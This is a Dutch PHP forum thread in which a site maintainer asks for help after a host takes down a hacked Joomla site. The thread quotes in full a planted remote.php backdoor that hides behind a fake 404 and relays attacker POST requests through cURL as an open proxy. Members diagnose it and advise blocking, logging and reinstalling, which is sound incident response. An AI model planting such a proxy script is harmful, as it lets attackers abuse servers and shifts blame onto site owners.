website stilgelegt door veel verkeer op remote.php

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Michel van soest

michel van soest

17/11/2016 21:59:26
Quote Anchor link
Goedenavond,

Mijn naam is Michel en voor het eerst op dit forum, ben ook zeker een beginneling op het gebied van PHP.

Mijn vraag is als volgt,

Mijn host heeft een site welke ik beheer (probeer,) tijdelijk uit de lucht gehaald omdat hij denkt dat het gehackt is.
Hij geeft aan in een bericht dat er extreem veel dataverkeer werd gegenereerd. Als ik mijn log op de server bekijk zie ik dat er veel gebeurd via een Frans IP adres zie hieronder.

France PAGES 601,395 HITS 601,395 BANDWIDTH 27.93 GB 17 Nov 2016 - 00:13
France PAGES 889 HITS 889 BANDWIDTH 33.70 MB 16 Nov 2016 - 23:00


Dit alles volgens mij via onderstaand PHP file,

Dynamic PHP Script file, HITS 603,315 PRECENT 99.7 % / BANDWIDTH 27.97 GB PRECENT 99.9 %

/modules/mod_stat/remote.php VIEWED 602,284 AVARAGE SIZE 48.68 KB ENTRY 109 EXTIS 108


Is er iemand die mij wat meer kan vertellen wat hier gebeurt?
 
PHP hulp

PHP hulp

03/12/2021 08:14:54
 
- Ariën -
Beheerder

- Ariën -

17/11/2016 22:26:06
Quote Anchor link
Dat is lastig te zeggen zonder te weten wat remote.php doet. Is het een belangrijk bestand voor de werking van je script? Zo niet, schakel hem dan uit door het te hernoemen of te verwijderen.

En is het één IP die het bestand opvraagt? Blokkeer deze dan in .htaccess.
Maar de werking is het belangrijkst. Het kán misschien zijn dat je een bron bent van malware, phishing of spamming. Dat is nu nog lastig te zeggen zonder uitleg.
Gewijzigd op 17/11/2016 22:28:38 door - Ariën -
 
Michel van soest

michel van soest

17/11/2016 23:07:34
Quote Anchor link
Dank je wel voor je replay,

Ik weet eigenlijk niet waar hij voor dient, ik probeer het te ontcijferen :).
Het zijn twee IP adressen welke veel data genereren, 1 ervan staat (zie ik via Google) op een blacklist.
 
- Ariën -
Beheerder

- Ariën -

17/11/2016 23:12:08
Quote Anchor link
Kan je meer informatie zien in de acces-logs? Als het een simpele GET-request is op de directe bestandsnaam, dan kan het mogelijk weinig kwaad. Het ligt eraan wat er gebeurt als je hem direct uitvoert.

Ik zou eerst de IP's blokkeren, en uitzoeken wat het script precies is. Is het een groot script? Of valt het nog wel mee met +/- 50 lijnen? Dan mag je de code ervan ook wel laten zien, zodat wij er een blik op kunnen nemen. Maar de access-log's zijn wel van groot belang. Deze staat vaak buiten je public_html of zichtbaar in je control-panel van je hosting.
 
Ozzie PHP

Ozzie PHP

18/11/2016 00:34:45
Quote Anchor link
>> Ik weet eigenlijk niet waar hij voor dient, ik probeer het te ontcijferen :).

- Is het bestand op dezelfde datum aangemaakt als de rest van de bestanden in die map?

- Kun je (een stukje) code plaatsen die in dat bestand staat?

Voor nu ... hernoem het bestand even naar iets anders, bijv. remoteX.php
 
Sander van t Hullenaar

Sander van t Hullenaar

18/11/2016 10:38:30
Quote Anchor link
Ben jij de persoon die dit bestand heeft geplaatst?
Zo niet, dan zal hernoemen/verwijderen slechts een tijdelijk effect hebben op de problemen.
Dan is er iemand die toegang heeft tot je account.

Als je de code hier plaatst kunnen wij denk ik ook wel zien of je die zelf geplaatst hebt of niet. :)

Ik zie dit helaas bij ons (Nitroserve hosting) veel voorbij komen.
Gebruik je een CMS pakket (Wordpress, Joomla, Drupal, etc.)?
Gewijzigd op 18/11/2016 10:40:39 door Sander van t Hullenaar
 
Michel van soest

michel van soest

18/11/2016 14:03:29
Quote Anchor link
Hoi alle,

Antwoord op Ariën: ik ga even zoeken naar de acces logs, De 2 IP's heb ik nu geblokkeerd. Het script is toegevoegd zie onder.

Antwoord op Ozzie: zie code hieronder

Antwoord op Sander: Nee ik heb de code niet gemaakt ik heb het beheer overgenomen de website bestond al lange tijd. de code staat hieronder bijgevoegd. De website is gemaakt met Joomla, de meeste recente update geïnstalleerd.



Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(E_ERROR);
ini_set("display_errors", 0);
if (!isset($_POST['url']) && !isset($_POST['timeout'])) {header('HTTP/1.1 404 Not Found');echo '<title>404 - File Not Found</title><h1>404 - File Not Found</h1>';exit;}

$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
if (isset($_REQUEST['iface'])) curl_setopt($ch, CURLOPT_INTERFACE, $_REQUEST['iface']);
if (isset($_POST['proxy'])) {curl_setopt($ch, CURLOPT_PROXY, $_POST['proxy']); curl_setopt($ch, CURLOPT_PROXYTYPE, ($_POST['proxy'])?CURLPROXY_HTTP:CURLPROXY_SOCKS5);}
curl_setopt($ch, CURLOPT_TIMEOUT, $_POST['timeout']);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
echo curl_redir_exec($ch);

function
curl_redir_exec($ch){
    static $curl_loops = 0;
    static $curl_max_loops = 20;
    if ($curl_loops >= $curl_max_loops) {
        $curl_loops = 0;
        return FALSE;
    }

    curl_setopt($ch, CURLOPT_HEADER, true);
    $data = curl_exec($ch);
    @
list($header, $data) = explode("\r\n\r\n", $data, 2);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if ($http_code == 301 || $http_code == 302) {
        $matches = array();
        preg_match('/Location:(.*?)\n/', $header, $matches);
        $url = @parse_url(trim(array_pop($matches)));
        if (!$url){
            $curl_loops = 0;
            return $data;
        }

        $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));
        if (!$url['scheme']) $url['scheme'] = $last_url['scheme'];
        if (!$url['host']) $url['host'] = $last_url['host'];
        if (!$url['path']) $url['path'] = $last_url['path'];
        $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');
        curl_setopt($ch, CURLOPT_URL, $new_url);
        return curl_redir_exec($ch);
    }
else{
        $curl_loops=0;
        return $data;
    }
}

?>


Toevoeging op 18/11/2016 14:15:49:

Ik heb in de htacces de volgende code gemaakt, dit om ip's te blokkeren.
Toch is er vandaag via de ip's verbinding geweest.

Options -Indexes
order allow,deny
deny from 91.121.106.94
deny from 176.31.246.38
allow from all
 
- Ariën -
Beheerder

- Ariën -

18/11/2016 14:17:45
Quote Anchor link
Ik heb zelf geen Joomla, maar is dit script wel van Joomla? En wanneer is het aangemaakt?
Het is een proxy-script die websites oproept. Mogelijk voor malafide praktijken, zodat jij verantwoordelijk kan zijn.

Toevoeging op 18/11/2016 14:22:07:

En hoe heet je bestand?
Hopelijk toch wel .htaccess met een punt, dubbel 'c' en dubbel 's'?

Test het eens met je eigen IP anders uit, of het werkt.
 
Michel van soest

michel van soest

18/11/2016 14:57:50
Quote Anchor link
- Ariën - op 18/11/2016 14:17:45:
Ik heb zelf geen Joomla, maar is dit script wel van Joomla? En wanneer is het aangemaakt?
Het is een proxy-script die websites oproept. Mogelijk voor malafide praktijken, zodat jij verantwoordelijk kan zijn.

Toevoeging op 18/11/2016 14:22:07:

En hoe heet je bestand?
Hopelijk toch wel .htaccess met een punt, dubbel 'c' en dubbel 's'?

Test het eens met je eigen IP anders uit, of het werkt.


Hoi Ariën,

Het is htaccess die punt kan ik zo even niet zien

Dat er iets niet goed zit is duidelijk, we hebben de website weer uit de lucht gehaald. Er zijn in Joomla een aantal gebruikers aangemaakt welke admin of super rechten hebben.
Ik ben nog opzoek of dit bestand wel bij Joomla hoort. Alle bestanden in de mod_stat map van Joomla zijn laatst gewijzigd op 18-10-2016.Wanneer het aangemaakt is kan ik verder niet zien.
 
- Ariën -
Beheerder

- Ariën -

18/11/2016 15:10:02
Quote Anchor link
Ik zou de site eerst maar even sluiten, en Joomla van de laatste patches voorzien. Ik heb vorige maand nog geschreven over een lek in Joomla, welke inderdaad kan zorgen voor registraties met verhoogde rechten.

Om welke Joomla gaat het nu die je nu hebt?
 
Michel van soest

michel van soest

18/11/2016 15:19:13
Quote Anchor link
- Ariën - op 18/11/2016 15:10:02:
Ik zou de site eerst maar even sluiten, en Joomla van de laatste patches voorzien. Ik heb vorige maand nog geschreven over een lek in Joomla, welke inderdaad kan zorgen voor registraties met verhoogde rechten.

Om welke Joomla gaat het nu die je nu hebt?


Site is nu offline de Joomla versie met welke ik geüpdatet heb is versie 3.6.2.

Hier een klein stukje log dit gaat 100+ regels door,

2016-11-18 08:01:02 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) 7.15 K IIS-toegang

2016-11-18 08:01:02 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 7.15 K
IIS-toegang

2016-11-18 08:01:02 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 7.15 K IIS-toegang

2016-11-18 08:01:02 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36 7.15 K IIS-toegang

2016-11-18 08:01:02 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 25.8 K IIS-toegang

2016-11-18 08:01:04 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 33.5 K IIS-toegang

2016-11-18 08:01:04 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 116 K IIS-toegang

2016-11-18 08:01:04 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0 63.3 K IIS-toegang

2016-11-18 08:01:06 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36 25.7 K IIS-toegang

2016-11-18 08:01:07 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 57.9 K IIS-toegang

2016-11-18 08:01:08 176.31.246.38 200 POST /modules/mod_stat/remote.php - HTTP/1.1
 
Ozzie PHP

Ozzie PHP

18/11/2016 15:19:42
Quote Anchor link
>> Dat er iets niet goed zit is duidelijk, we hebben de website weer uit de lucht gehaald. Er zijn in Joomla een aantal gebruikers aangemaakt welke admin of super rechten hebben.

Klinkt alsof de boel gehackt is. In dat geval kun je beter de hele server opnieuw installeren vrees ik.

Die code is wellicht een proxy waardoor anderen jouw server gebruiken om dingen te doen die illegaal zijn. Gezien het aantal GB aan traffic zou het kunnen dat je server is gebruikt om mediabestanden (bijv. films) te downloaden. Dat loopt dan via het ip-adres van jouw server.
 
Michel van soest

michel van soest

18/11/2016 16:02:19
Quote Anchor link
Ik ga ermee aan de slag, dank voor jullie antwoorden
 
Ozzie PHP

Ozzie PHP

18/11/2016 17:41:36
Quote Anchor link
Tip: bewaar die logbestanden minimaal een jaar voor het geval je ineens door iemand wordt aangeklaagd omdat jouw IP-adres is gebruikt bij illegale praktijken.
 
Mark Hogeveen

Mark Hogeveen

18/11/2016 17:44:41
Quote Anchor link
Misschien een riskante actie, maar kun je niet zelf met je webbrowser dat verdachte bestand opzoeken alsof je zelf een site bezoeker bent, en dan kijken wat je krijgt?
Dan kom je misschien meer te weten.
Het is dus waarschijnlijk een proxy script zoals gezegd. Wat je ook kunt doen, is het bestand zodanig veranderen, dat je te weten kunt komen van welke bronnen het script gegevens ophaalt en doorgeeft.
Of maakt het bestand leeg, stuurt 404 (nnot found) responses voor een tijdje en hoopt dan dat de request-zender (franse IP's) stoppen met jou te gebruiken als doorgeefluik, omdat ze misschien gaan denken dat het niet meer werkt.
(Net zoals niet reageren op spam mails)
 
- Ariën -
Beheerder

- Ariën -

18/11/2016 17:48:29
Quote Anchor link
Juist, een honey-pot dus. Dan weet je precies wat ze willen opvragen.
Gewoon de POST-requests even gezellig loggen dus, en voor de rest een dummy-tekst tonen.
Als je het toch verwijderd, dan krijgen ze toch een 404.

Maar ik zou sowieso op safe spelen en de boel laten herinstalleren.
Gewijzigd op 18/11/2016 17:49:21 door - Ariën -
 
Ozzie PHP

Ozzie PHP

18/11/2016 18:07:40
Quote Anchor link
Zet op de 3e regel na deze regel

ini_set("display_errors", 0);

eens het volgende (zonder de php-tags die op de eerste en laatste regel staan!):

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
<?php

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $post = '';
  foreach ($_POST as $key => $value) {
    $post .= '* ' . $key . ' * ' . $value . PHP_EOL;
  }

  mail('jouwmailadres@blabla.com', 'Server', $post);
}

exit;

?>


Even jouwmailadres@blabla.com vervangen door je echte mailadres.

Als er nu naar het bestand gepost wordt, ontvang jij een mail en kun je zien wat er gepost wordt en welke URLs of bestanden ze proberen op te vragen. In alle gevallen wordt het script gestopt (door exit) dus verder gebeurt er niks, maar nu kun je in ieder geval zien wat ze proberen te doen.

Laat het ons hier ook even weten!
Gewijzigd op 18/11/2016 18:11:00 door Ozzie PHP
 
Michel van soest

michel van soest

18/11/2016 18:55:58
Quote Anchor link
Ozzie PHP op 18/11/2016 18:07:40:
Zet op de 3e regel na deze regel

ini_set("display_errors", 0);

eens het volgende (zonder de php-tags die op de eerste en laatste regel staan!):

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
<?php

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $post = '';
  foreach ($_POST as $key => $value) {
    $post .= '* ' . $key . ' * ' . $value . PHP_EOL;
  }

  mail('jouwmailadres@blabla.com', 'Server', $post);
}

exit;

?>


Even jouwmailadres@blabla.com vervangen door je echte mailadres.

Als er nu naar het bestand gepost wordt, ontvang jij een mail en kun je zien wat er gepost wordt en welke URLs of bestanden ze proberen op te vragen. In alle gevallen wordt het script gestopt (door exit) dus verder gebeurt er niks, maar nu kun je in ieder geval zien wat ze proberen te doen.

Laat het ons hier ook even weten!


Ozzie,

Ik zou wel willen proberen, maar mijn host zet de site niet meer online in opdracht van de site eigenaar, dus kan ook vanaf vanmiddag niets meer testen.
 
- Ariën -
Beheerder

- Ariën -

18/11/2016 19:07:22
Quote Anchor link
Wanneer wil de hosting de website weer vrijgeven dan? Je zult toch eerst moeten kijken of het probleem opgelost is. Het feit dat er nu actie op ondernomen wordt, lijkt mij toch een reden dat de hosting de boel weer vrij moet geven.
 
Michel van soest

michel van soest

18/11/2016 21:21:46
Quote Anchor link
- Ariën - op 18/11/2016 19:07:22:
Wanneer wil de hosting de website weer vrijgeven dan? Je zult toch eerst moeten kijken of het probleem opgelost is. Het feit dat er nu actie op ondernomen wordt, lijkt mij toch een reden dat de hosting de boel weer vrij moet geven.



De Host en de eigenaar van de website hebben in samenspraak besloten de oude website niet meer online te zetten, zij vinden het risico te groot.
Ik heb hierop weer vanavond de eigenaar van de website gesproken.
Hij heeft mij te kennen gegeven dat er een nieuwe website voor hem gebouwd moet worden, zolang deze niet gereed is zal er geen website draaien van hem.

Dus al met al werk aan de winkel ;)
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.